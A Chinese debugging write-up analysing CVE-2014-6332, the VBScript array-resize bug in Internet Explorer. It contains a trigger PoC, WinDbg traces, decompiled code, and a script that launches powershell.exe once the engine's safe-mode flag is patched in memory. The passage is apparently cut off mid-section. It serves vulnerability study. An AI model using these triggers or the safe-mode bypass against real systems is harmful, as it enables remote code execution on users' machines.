CVE-2014-6332 调试笔记

Written on

调试环境

操作系统: Windows 7 Service Pack 1 32 位

浏览器: IE 8.0.7601.17514

背景知识

1. vbscript 基础语法

vbscript 中定义一维数组语法 dim array(9) ,表示定义了一个包含10个元素的数组,下标从0开始,和其它语言唯一的区别是元素个数是 n + 1个。

多维数组: dim array(2, 3), 表示定义了一个3行4列的二维数组。也可以不指明元素个数: dim array()

使用关键字 redim 可以修改已定义的数组大小:redim array(4) 。但是在改变数组大小时,数组的数据可能会被破坏,需要加上关键字 preserveredim preserve array(10)。此时原数组的数据不会破坏。

2. 常用调试辅助函数

在调试vbscript脚本时,一般会使用一些辅助函数用于方便调试定位变量地址,先来看下IsEmpty函数,该函数对应vbscript.dll模块中的VbsIsEmpty函数:

VbsIsEmpty

VbsIsEmpty函数中,实际调用的是GetVarType对第三个参数的进行类型判别,而第三个参数对应的即是 vbscript 语句中 IsEmpty 对应的参数。这样便可在调试时很容易知道我们需要的变量所在的内存地址。在 vbscript调试中会经常用到这个函数断点,同样的还有VbsIsObject,VbsIsNull等。

常见vbscript语句与对应的实现函数关系:

vbscript 语句 Native 实现函数
redim array(10) vbscript!MakeArray
redim preserve array(10) vbscript!RedimPreserveArray
a = 1 vbscript!AssignVar
IsEmpty vbscript!VbsIsEmpty
Msgbox "hello" vbscript!VbsMsgbox
IsObject(a) vbscript!VbsIsObject

3. vbscript 变量

vbscript中变量由VARIANT结构体定义,内存占用大小为0x10,其结构如下(简化了union部分):

1
2
3
4
5
6
7
8
typedef struct tagVARIANT {
VARTYPE varType; +0x0: word 变量的类型值
WORD wReserved1;
WORD wReserved2;
WORD wReserved3;
DWORD dataLow; +0x8: dword 存放实际的元素数据
DWORD dataHigh; +0xc: dword 同上,对于哪些字节表示实际数据,需要参考varType的值,以确定数据的大小
} VARIANT;

其中varType字段表示变量的类型,由 VARENUM 枚举类型指定,对应的头文件为wtypes.h,常见的类型值如下:

常用版:

Constant Value Description
vbEmpty 0 未初始化(Empty)
vbNull 1 无效数据(NULL)
vbInterger 2 整型(Interger)
vbLong 3 长整型(Long Interger)
vbDouble 5 双精度类型
vbString 8 字符串类型
VbClass 9 类对象引用
vbVariant 0xc Variant(仅对数组有效)
vbArray 0x2000 数组类型

官方版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
enum VARENUM {
VT_EMPTY = 0,
VT_NULL = 1,
VT_I2 = 2,
VT_I4 = 3,
VT_R4 = 4,
VT_R8 = 5,
VT_CY = 6,
VT_DATE = 7,
VT_BSTR = 8,
VT_DISPATCH = 9,
VT_ERROR = 0x0A,
VT_BOOL = 0x0B,
VT_VARIANT = 0x0C,
VT_UNKNOWN = 0x0D,
VT_DECIMAL = 14,
VT_I1 = 16,
VT_UI1 = 17,
VT_UI2 = 18,
VT_UI4 = 19,
VT_I8 = 20,
VT_UI8 = 21,
VT_INT = 22,
VT_UINT = 23,
VT_VOID = 24,
VT_HRESULT = 25,
VT_PTR = 26,
VT_SAFEARRAY = 27,
VT_CARRAY = 28,
VT_USERDEFINED = 29,
VT_LPSTR = 30,
VT_LPWSTR = 31,
VT_RECORD = 36,
VT_INT_PTR = 37,
VT_UINT_PTR = 38,
VT_FILETIME = 64,
VT_BLOB = 65,
VT_STREAM = 66,
VT_STORAGE = 67,
VT_STREAMED_OBJECT = 68,
VT_STORED_OBJECT = 69,
VT_BLOB_OBJECT = 70,
VT_CF = 0x47,
VT_CLSID = 0x48,
VT_VERSIONED_STREAM = 0x49,
VT_BSTR_BLOB = 0xFFF,
VT_VECTOR = 0x1000,
VT_ARRAY = 0x2000,
VT_BYREF = 0x4000,
VT_RESERVED = 0x8000,
VT_ILLEGAL = 0xFFFF,
VT_ILLEGALMASKED = 0xFFF,
VT_TYPEMASK = 0xFFF
}

调试如下poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!doctype html>
<html lang="en">
<head>
</head>

<body>
<script LANGUAGE="VBScript">
dim a
dim b
dim c
dim d
a = &h1234
b = &h87654321
c = 1.1234567890123456789
d = "hello"
IsEmpty(a)
IsEmpty(b)
IsEmpty(c)
IsEmpty(d)
</script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
0:013> bu vbscript!VbsIsEmpty
0:013> bl
0 eu 0001 (0001) (vbscript!VbsIsEmpty)
0:005> g
Tue Jun 25 18:38:39.588 2019 (GMT+8): Breakpoint 0 hit
eax=6a2d185c ebx=021dd414 ecx=6a32a9d8 edx=021dd38c esi=0230a43c edi=00000001
eip=6a2ec206 esp=021dd2a8 ebp=021dd2b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6a2ec206 8bff mov edi,edi
0:005> dd poi(esp+c) l4
0230acd0 00000002 00000000 00001234 00000000
0:005> g
Tue Jun 25 18:45:11.523 2019 (GMT+8): Breakpoint 0 hit
eax=6a2d185c ebx=021dd414 ecx=6a32a9d8 edx=021dd38c esi=0230a43c edi=00000001
eip=6a2ec206 esp=021dd2a8 ebp=021dd2b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6a2ec206 8bff mov edi,edi
0:005> dd poi(esp+c) l4
0230acd0 00000003 00000000 87654321 00000000
0:005> g
Tue Jun 25 18:45:33.488 2019 (GMT+8): Breakpoint 0 hit
eax=6a2d185c ebx=021dd414 ecx=6a32a9d8 edx=021dd38c esi=0230a43c edi=00000001
eip=6a2ec206 esp=021dd2a8 ebp=021dd2b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6a2ec206 8bff mov edi,edi
0:005> dd poi(esp+c) l4
0230acd0 00000005 00000000 d3746f66 3ff1f9ad
0:005> g
Tue Jun 25 18:45:48.838 2019 (GMT+8): Breakpoint 0 hit
eax=6a2d185c ebx=021dd414 ecx=6a32a9d8 edx=021dd38c esi=0230a43c edi=00000001
eip=6a2ec206 esp=021dd2a8 ebp=021dd2b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6a2ec206 8bff mov edi,edi
0:005> dd poi(esp+c) l4
0230acd0 0000004a 00000000 0060f838 00000000
0:005> dd 0060f838 l4
0060f838 00000008 00000000 003ceb74 00000000
0:005> du 003ceb74
003ceb74 "hello"
0:005> dt VARIANT 0060f838 vt wReserved1 wReserved2 wReserved3 bstrVal
ole32!VARIANT
+0x000 vt : 8
+0x002 wReserved1 : 0
+0x004 wReserved2 : 0
+0x006 wReserved3 : 0
+0x008 bstrVal : 0x003ceb74 "hello"
0:005> dd 0x003ceb74 - 4 l4
003ceb70 0000000a 00650068 006c006c 0000006f

在字符串类型中,VT_BSTR指针的前4个字节实际上存的是字符串的长度(一个字符两个字节)。

4. vbscript 数组

vbscript中数组由SAFEARRAYSAFEARRAYBOUND结构体定义.

SAFEARRAY:

1
2
3
4
5
6
7
8
typedef struct tagSAFEARRAY {
USHORT cDims; // 数组维数
USHORT fFeatures; // 数组特性
ULONG cbElements; // 每个元素大小
ULONG cLocks; // 锁定计数
PVOID pvData; // 实际数组数据指针
SAFEARRAYBOUND rgsabound[1]; // 数组下标相关信息
} SAFEARRAY;

SAFEARRAYBOUND

1
2
3
4
typedef struct tagSAFEARRAYBOUND {
ULONG cElements; // 该维数数组大小,即元素个数
LONG lLbound; // 该维数数组索引的起始值
} SAFEARRAYBOUND, *LPSAFEARRAYBOUND;

调试如下poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!doctype html>
<html lang="en">
<head>
</head>

<body>
<script LANGUAGE="VBScript">
dim a(2)
a(0) = &h12345678
a(1) = &h87654321
IsEmpty(a)
</script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0:013> bl
0 eu 0001 (0001) (vbscript!VbsIsEmpty)
0:005> g
Tue Jun 25 19:18:30.865 2019 (GMT+8): Breakpoint 0 hit
eax=68d8185c ebx=0241cfac ecx=68dda9d8 edx=0241cf24 esi=02079e44 edi=00000001
eip=68d9c206 esp=0241ce40 ebp=0241ce50 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
68d9c206 8bff mov edi,edi
0:005> dd poi(esp+c) l4
0207a5e0 0000600c 00000000 0070fd08 004f9e50
0:005> dd 004f9e50 l8
004f9e50 08920001 00000010 00000000 004d3c38
004f9e60 00000003 00000000 43797355 8c000000
0:005> dt SAFEARRAY 004f9e50
ole32!SAFEARRAY
+0x000 cDims : 1
+0x002 fFeatures : 0x892
+0x004 cbElements : 0x10
+0x008 cLocks : 0
+0x00c pvData : 0x004d3c38
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
0:005> dt SAFEARRAYBOUND 004f9e50 + 0x10
ole32!SAFEARRAYBOUND
+0x000 cElements : 3
+0x004 lLbound : 0
0:005> dd 0x004d3c38 lc
004d3c38 00000003 00000000 12345678 00000000
004d3c48 00000003 00000000 87654321 00000000
004d3c58 00000000 00000000 00000000 00000000

5. vbscript 求值栈

在vbscript解释器中,像赋值或者求值等操作,都会用到一个栈来保存中间及临时结果,这个栈被称为求值栈,栈上的对象格式为VARIANT类型。如 a=&h12345678,解释器会先将&h12345678解析为VARIANT对象,然后放到求值栈中,然后调用vbscript!AssignVar函数进行复制操作,先取出求值栈中0x12345678VARIANT对象,然后赋值给a

调试如下poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!doctype html>
<html lang="en">
<head>
</head>

<body>
<script LANGUAGE="VBScript">
dim a
IsEmpty("AssignVar")
a = &h87654321
IsEmpty(a)
</script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0:012> bu vbscript!VbsIsEmpty
0:012> bl
0 eu 0001 (0001) (vbscript!VbsIsEmpty)
0:012> g
Tue Jun 25 21:53:09.006 2019 (GMT+8): ModLoad: 6b650000 6b6bb000 C:\Windows\system32\vbscript.dll
Tue Jun 25 21:53:09.006 2019 (GMT+8): Breakpoint 0 hit
eax=6b65185c ebx=022fd034 ecx=6b6aa9d8 edx=022fcfac esi=01fc9a60 edi=00000001
eip=6b66c206 esp=022fcec8 ebp=022fced8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6b66c206 8bff mov edi,edi
0:005> dd poi(esp+c) l4
0027fe50 00000008 00000000 01fc9a44 01fc97f4
0:005> du 01fc9a44
01fc9a44 "AssignVar"
0:005> bu vbscript!Assignvar
0:005> g
Tue Jun 25 21:56:14.381 2019 (GMT+8): Breakpoint 1 hit
eax=0027fe60 ebx=022fd034 ecx=022fd034 edx=00000010 esi=01fc9a60 edi=00000010
eip=6b652e64 esp=022fcee0 ebp=022fcfdc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AssignVar:
6b652e64 8bff mov edi,edi
0:005> dd poi(esp+c) l4
0027fe50 00000003 00000000 87654321 01fc97f4

可以看到,在第一个断点IsEmpty处,求值栈栈顶地址为0x0027fe50,栈上对象类型为0x8,VT_BSTR。当在第二次断点时,栈顶对象类型变成了0x3,为VT_I4类型。对应的值即为poc中的0x87654321

在vbscript中,无法获取函数指针的,但是当尝试把函数地址赋值给变量是,求值栈会发生神奇的事情。调试如下poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!doctype html>
<html lang="en">
<head>
</head>

<body>
<script LANGUAGE="VBScript">
On Error Resume Next
sub func()
end sub

IsEmpty("test")
i = func
i = null
</script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
0:012> bu vbscript!VbsIsEmpty
0:012> bl
0 eu 0001 (0001) (vbscript!VbsIsEmpty)
0:012> g
Tue Jun 25 22:45:29.396 2019 (GMT+8): ModLoad: 6b6f0000 6b75b000 C:\Windows\system32\vbscript.dll
Tue Jun 25 22:45:29.396 2019 (GMT+8): Breakpoint 0 hit
eax=6b6f185c ebx=023fd6d4 ecx=6b74a9d8 edx=023fd64c esi=00d7a8d8 edi=00000001
eip=6b70c206 esp=023fd568 ebp=023fd578 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6b70c206 8bff mov edi,edi
0:005> dd poi(esp+c) l4
0052fe50 00000008 00000000 00d7a8c4 00000000
0:005> du 00d7a8c4
00d7a8c4 "test"
0:005> ba w4 0052fe50
0:005> ba w4 0052fe50+8
0:005> g
Tue Jun 25 22:46:27.584 2019 (GMT+8): Breakpoint 1 hit
eax=0052fe50 ebx=023fd6d4 ecx=00000000 edx=0000400c esi=00d7a8b0 edi=00000010
eip=6b6f322c esp=023fd594 ebp=023fd67c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!CScriptRuntime::RunNoEH+0xeaf:
6b6f322c 8d4594 lea eax,[ebp-6Ch]
0:005> dd 0052fe50 l4
0052fe50 00000000 00000000 00d7a8c4 00000000
0:005> g
Tue Jun 25 22:46:53.012 2019 (GMT+8): Breakpoint 1 hit
eax=00000000 ebx=023fd704 ecx=0052f448 edx=00d7a8b8 esi=0052f610 edi=0052fe54
eip=6b6f2b24 esp=023fd52c ebp=023fd534 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vbscript!NameTbl::GetAdrCore+0x2b:
6b6f2b24 a5 movs dword ptr es:[edi],dword ptr [esi] es:0023:0052fe54=00000000 ds:0023:0052f610=000007ff
0:005> dd 0052fe50 l4
0052fe50 0000004c 00000000 00d7a8c4 00000000
0:005> g
Tue Jun 25 22:47:07.785 2019 (GMT+8): Breakpoint 2 hit
eax=00000000 ebx=023fd704 ecx=0052f448 edx=00d7a8b8 esi=0052f618 edi=0052fe5c
eip=6b6f2b26 esp=023fd52c ebp=023fd534 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vbscript!NameTbl::GetAdrCore+0x2d:
6b6f2b26 a5 movs dword ptr es:[edi],dword ptr [esi] es:0023:0052fe5c=00000000 ds:0023:0052f618=f60000f6
0:005> dd 0052fe50 l4
0052fe50 0000004c 000007ff 0052fe98 00000000
0:005> dd 0052fe98 l4
0052fe98 6b6f4934 00000001 0052f7a8 00d7a878
0:005> ln 6b6f4934
(6b6f4934) vbscript!CScriptEntryPoint::`vftable' | (6b70ab54) vbscript!CEntryPointDispatch::`vftable'
Exact matches:
vbscript!CScriptEntryPoint::`vftable' = <no type information>
0:005> dd poi(poi(0052fe98+0x8)+0x10) l4
0052f100 6b6f4868 6b6f4ab4 6b6f4410 6b6f43f8
0:005> ln 6b6f4868
(6b6f4868) vbscript!COleScript::`vftable' | (6b70fdbc) vbscript!`string'
Exact matches:
vbscript!COleScript::`vftable' = <no type information>
0:005> g
Tue Jun 25 22:51:28.415 2019 (GMT+8): Breakpoint 1 hit
eax=0052fe50 ebx=023fd6d4 ecx=00000001 edx=023fd540 esi=00000000 edi=80020102
eip=6b6f3faf esp=023fd594 ebp=023fd67c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vbscript!CScriptRuntime::RunNoEH+0x79d:
6b6f3faf e99ce8ffff jmp vbscript!CScriptRuntime::RunNoEH+0x156 (6b6f2850)
0:005> dd 0052fe50 l4
0052fe50 00000001 000007ff 0052fe98 f60000f6

调试时,通过IsEmpty找到当前求值栈的栈顶地址为0x0052fe50,此时栈顶存放的VARIANT类型为0x8 VT_BSTR,数据段存放的是”func”字符串的地址。随后对求值栈的类型字段和数据段下写断点ba w4 0046fbb8, ba w4 0046fbb8+8.在执行到i=func时,解释器会先获取func函数的地址,然后封装成VARIANT类型放到求值栈上,可以看到0x4c对应的类型为VT_FUNC。随后准备进行赋值操作,但是在赋值检查类型时,发现求值栈中的是函数地址,会直接返回错误,不会执行赋值操作。但poc中又设置了On Error Resume Next,所以会向下继续执行i=null。 而在准备nullVARIANT类型时,解释器并不是将新封装的VARIANT类型放到求值栈中,而仅仅是将求值栈里面的类型域修改成了VT_NULL0x1,然后赋值给i。数据域中依然保留的是func的地址。最终变量i保存了func函数的地址。而通过观察发现,该地址其实是CScriptEntryPoint对象的指针。

6. SafeMode(GodMode)

SafeMode 是 Windows 操作系统中针对安全的一种特殊模式,即安全模式。在 vbscript 引擎中同样存在这样一个安全属性值,正常情况下该属性值为 0xE。默认情况下 vbscript 脚本执行权限是非常低的,正是因为safemode 安全属性的限制,如若我们能通过一定方法修改掉此属性值(改为 0 或者 4),即可绕过安全权限检查,为所欲为,即进入上帝模式。而且,经过调试发现在 COleScript 对象偏移 0x174(不同版本可能偏移不一样) 位置正是 SafeMode标志位(结论记住就行,前人逆向出来的经验)。

1
2
3
4
5
6
7
8
9
<html>
<body>
<script language="vbscript">
on error resume next
set shell = createobject("shell.application")
shell.shellexecute "powershell.exe"
</script>
</body>
</html>

正常情况下,上面poc是无法弹出powershell.exe的。在 IE 中打开,使用 windbg 附加进程后调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0:013> bu vbscript!COleSCript::InSafeMode
0:005> g
Fri Jun 21 16:39:37.292 2019 (GMT+8): Breakpoint 3 hit
eax=75af0782 ebx=00000000 ecx=02247740 edx=75ae0000 esi=02249828 edi=00000000
eip=6c71ce4d esp=0223cef8 ebp=0223cf80 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!COleScript::InSafeMode:
6c71ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh ds:0023:022478b4=0000000e
0:005> dd ecx+174 L4
022478b4 0000000e 00000000 00000000 00000000

0:005> eb ecx+174 0
0:005> dd ecx+174 L4
022478b4 00000000 00000000 00000000 00000000

可以看到,在 InSafeMode 函数中,会检查 0x174 偏移处的值与 0xB(1011) 结果。如果结果为 0, 则vbscript的执行将不再收到限制。故此时值应该为 0 或者 4(0100) 才行。手动在调试器中修改内存值,便可弹出cmd。

漏洞分析

漏洞成因分析

先看一个简化版的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!doctype html>
<html lang="en">
<head>
</head>

<body>
<script LANGUAGE="VBScript">
On Error Resume Next
dim arrayA()
dim arrayB()
dim size
dim over
size = &h5
over = &h8000000 + size
redim Preserve arrayA(size)

IsEmpty(arrayA)

redim arrayB(size)
redim Preserve arrayA(over)
arrayA(size+1) = 5
</script>
</body>
</html>

windbg 打开堆调试开关:

1
2
3
C:\Windows\system32>gflags.exe /i iexplore.exe +hpa -ust
Current Registry Settings for iexplore.exe executable are: 02000000
hpa - Enable page heap

IE 运行 poc 时用windbg 附加上,可以看到崩溃信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0:005> g
Mon Jun 24 11:06:29.036 2019 (GMT+8): (86c.848): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000400c ebx=04ea7000 ecx=0000400c edx=00000002 esi=00000010 edi=00000001
eip=68512e78 esp=041bcfd4 ebp=041bcffc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
vbscript!AssignVar+0x14:
68512e78 66390b cmp word ptr [ebx],cx ds:0023:04ea7000=????

vbscript!AssignVar:
68512e64 8bff mov edi,edi
68512e66 55 push ebp
68512e67 8bec mov ebp,esp
68512e69 83ec20 sub esp,20h
68512e6c 53 push ebx
68512e6d 8b5d0c mov ebx,dword ptr [ebp+0Ch]
68512e70 b80c400000 mov eax,400Ch
68512e75 8bc8 mov ecx,eax
68512e77 56 push esi
68512e78 66390b cmp word ptr [ebx],cx ds:0023:04ea7000=????
68512e7b 0f841f9f0000 je vbscript!AssignVar+0x19 (6851cda0)

可以看到,执行到 eip=68512e78 时,在读取ebx指向的内存时出错。查看 ebx 指向的内存是如何申请的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0:005> !heap -p -a ebx
address 04ea7000 found in
_DPH_HEAP_ROOT @ 1f1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
4dd14e0: 4ea6ef0 110 - 4ea6000 2000
6d178e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
6d1792b2 verifier!AVrfDebugPageHeapReAllocate+0x000001a2
77796153 ntdll!RtlDebugReAllocateHeap+0x00000033
7775e46c ntdll!RtlReAllocateHeap+0x00000054
775aee32 ole32!CRetailMalloc_Realloc+0x00000025
7784ed3c OLEAUT32!SafeArrayRedim+0x00000153
685258da vbscript!RedimPreserveArray+0x00000081
68525887 vbscript!CScriptRuntime::RunNoEH+0x00001466
68514ff6 vbscript!CScriptRuntime::Run+0x00000064
68514f79 vbscript!CScriptEntryPoint::Call+0x00000051
6851512b vbscript!CSession::Execute+0x000000c8
6851536e vbscript!COleScript::ExecutePendingScripts+0x00000146
68520e4a vbscript!COleScript::ParseScriptTextCore+0x00000247
685193e8 vbscript!COleScript::ParseScriptText+0x0000002b

通过!heap -p -a ebx 可以看到是 vbscript!RedimPreserveArray 申请到的。上 IDA 分析 vbscript.dll:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __stdcall RedimPreserveArray(SAFEARRAY *psa, unsigned int a2, struct VAR *a3)
{
SAFEARRAY *v3; // ebx@1
const unsigned __int16 *v4; // eax@3
VAR *v5; // edi@6
int v6; // esi@6
__int32 v7; // [sp-10h] [bp-20h]@0
struct VAR *v8; // [sp-Ch] [bp-1Ch]@0
SAFEARRAYBOUND psaboundNew; // [sp+8h] [bp-8h]@2
SAFEARRAY *psaa; // [sp+18h] [bp+8h]@2

v3 = psa;
if ( a2 != psa->cDims )
goto LABEL_5;
psaboundNew.lLbound = 0;
psaboundNew.cElements = *((_DWORD *)VAR::PvarGetTypeVal(a3, 3) + 2) + 1;
psaa = (SAFEARRAY *)1;
if ( a2 > 1 )
{
v5 = (struct VAR *)((char *)a3 + 16);
v6 = (int)&v3[1];
while ( !*(_DWORD *)(v6 + 4) && *(_DWORD *)v6 == *((_DWORD *)VAR::PvarGetTypeVal(v5, 3) + 2) + 1 )
{
psaa = (SAFEARRAY *)((char *)psaa + 1);
v6 += 8;
v5 = (VAR *)((char *)v5 + 16);
if ( (unsigned int)psaa >= a2 )
goto LABEL_3;
}
LABEL_5:
RaiseErrorHr(-2146828279, 0, 0, -1);
}
LABEL_3:
v4 = (const unsigned __int16 *)SafeArrayRedim(v3, &psaboundNew);
if ( (signed int)v4 < 0 )
RaiseErrorHr(v7, v8, v4, 0);
}

通过分析,在函数 RedimPreserveArray 中又调用 aoleaut32 模块中的 SafeArrayRedim函数。其中,v3 也就是 psa类型为 SAFEARRAY, 表示带调整的数组,psaboundNew类型为 SAFEARRAYBOUND,表示待调整的数组大小。

关闭之前开启的堆调试:

1
2
C:\Windows\system32>gflags.exe /i iexplore.exe -hpa
Current Registry Settings for iexplore.exe executable are: 00000000

修改下之前的POC,增加IsEmpty用于辅助调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!doctype html>
<html lang="en">
<head>
</head>

<body>
<script LANGUAGE="VBScript">
On Error Resume Next
dim arrayA()
dim arrayB()
dim size
dim over
size = &h5
over = &h8000000 + size
redim Preserve arrayA(size)

IsEmpty(arrayA)

redim arrayB(size)
redim Preserve arrayA(over)
IsEmpty(arrayA)
arrayA(size+1) = 5
</script>
</body>
</html>

调试上面poc,使用IE打开poc后附加 IE 进程,在vbscript!VbsIsEmptyIsEmpty下断点进行调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
0:013> bu vbscript!VbsIsEmpty
0:013> bl
0 eu 0001 (0001) (vbscript!VbsIsEmpty)
0:005> g
Tue Jun 25 14:39:48.836 2019 (GMT+8): Breakpoint 0 hit
eax=6a2d185c ebx=024ad034 ecx=6a32a9d8 edx=024acfac esi=01f8a088 edi=00000001
eip=6a2ec206 esp=024acec8 ebp=024aced8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6a2ec206 8bff mov edi,edi
0:005> kv 2
ChildEBP RetAddr Args to Child
024acec4 6a2d3854 024acfac 00000001 003dfb00 vbscript!VbsIsEmpty (FPO: [3,0,0])
024aced8 6a2d586e 024acfac 00000001 003dfb00 vbscript!StaticEntryPoint::Call+0x11 (FPO: [5,0,0])
0:005> dd 003dfb00 l4
003dfb00 0000600c 00000000 01f87798 0010d850
0:005> dt tagVARIANT 003dfb00 vt wReserved1 wReserved2 wReserved3 pparray
ole32!tagVARIANT
+0x000 vt : 0x600c
+0x002 wReserved1 : 0
+0x004 wReserved2 : 0
+0x006 wReserved3 : 0
+0x008 pparray : 0x01f87798 -> 0x0010d850 tagSAFEARRAY
0:005> dd 01f87798 l4
01f87798 0010d850 00000000 00000000 08cfd360
0:005> dd 0010d850 l8
0010d850 08800001 00000010 00000000 000e5a28
0010d860 00000006 00000000 53aee65f 88000000
0:005> dt tagSAFEARRAY 0010d850
ole32!tagSAFEARRAY
+0x000 cDims : 1
+0x002 fFeatures : 0x880
+0x004 cbElements : 0x10
+0x008 cLocks : 0
+0x00c pvData : 0x000e5a28
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
0:005> dt tagSAFEARRAYBOUND 0010d850 + 0x10
UxTheme!tagSAFEARRAYBOUND
+0x000 cElements : 6
+0x004 lLbound : 0

通过查看栈回溯观察第三个参数地址为0x003dfb00,而这个地址上存的其实是一个VARIANT类型。对比前面给出的VARIANT结构,可以看到其中varType0x600c,查看前面VARENUM中的值,0x600c对应的类型其实是VT_VARIANT|VT_ARRAY|VT_BYREF,即当前VARIANT其实是一个数组引用,0x01f87798上存的是数组首地址的指针,而0x0010d850才是真正数组首地址值。其实看到varType类型为0x600c时,可以直接查看偏移0xc处的DWORD值,该值便是数组首地址。

0x0010d850处值以tagSAFEARRAY结构展示,可以看到这是一个一维数组,数据存放在0x000e5a28 pvData处,数组大小为6

继续调试,我们在vbscript!RedimPreserveArray处下断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:005> bu vbscript!RedimPreserveArray
0:005> bl
0 e 6a2ec206 0001 (0001) 0:**** vbscript!VbsIsEmpty
1 e 6a2e5891 0001 (0001) 0:**** vbscript!RedimPreserveArray
0:005> g
Tue Jun 25 14:51:58.106 2019 (GMT+8): Breakpoint 1 hit
eax=01f8778c ebx=024ad034 ecx=0010d850 edx=0000600c esi=01f8a3fd edi=00000000
eip=6a2e5891 esp=024acee4 ebp=024acfdc iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000203
vbscript!RedimPreserveArray:
6a2e5891 8bff mov edi,edi
0:005> gu
Tue Jun 25 14:52:26.436 2019 (GMT+8): Breakpoint 0 hit
eax=6a2d185c ebx=024ad034 ecx=6a32a9d8 edx=024acfac esi=01f8a088 edi=00000001
eip=6a2ec206 esp=024acec8 ebp=024aced8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6a2ec206 8bff mov edi,edi

此时断点是断在poc中的redim Preserve arrayA(over)语句。而变量over是一个很大的值0x8000005,系统在申请内存时不可能申请这么大的内存空间,但是由于存在On Error Resume Next语句,脚本会继续向下执行,因此在执行gu命令后程序会出错然后跳出vbscript!RedimPreserveArray函数,然后断在vbscript!VbsIsEmpty上。此时,我们再观察arrayA中的内容:

1
2
3
4
5
6
7
0:005> dd 0010d850 l8
0010d850 08800001 00000010 00000000 000e5a28
0010d860 08000006 00000000 53aee65f 88000000
0:005> dt tagSAFEARRAYBOUND 0010d850 + 0x10
UxTheme!tagSAFEARRAYBOUND
+0x000 cElements : 0x8000006
+0x004 lLbound : 0

数组实际数据地址依然是0x000e5a28,但是数组大小却由原来的0x6变成了现在的0x8000006,而这个值就是poc中的over大小。

在 IDA 查看oleaut32.dll中负责实际内存调整的SafeArrayRedim函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
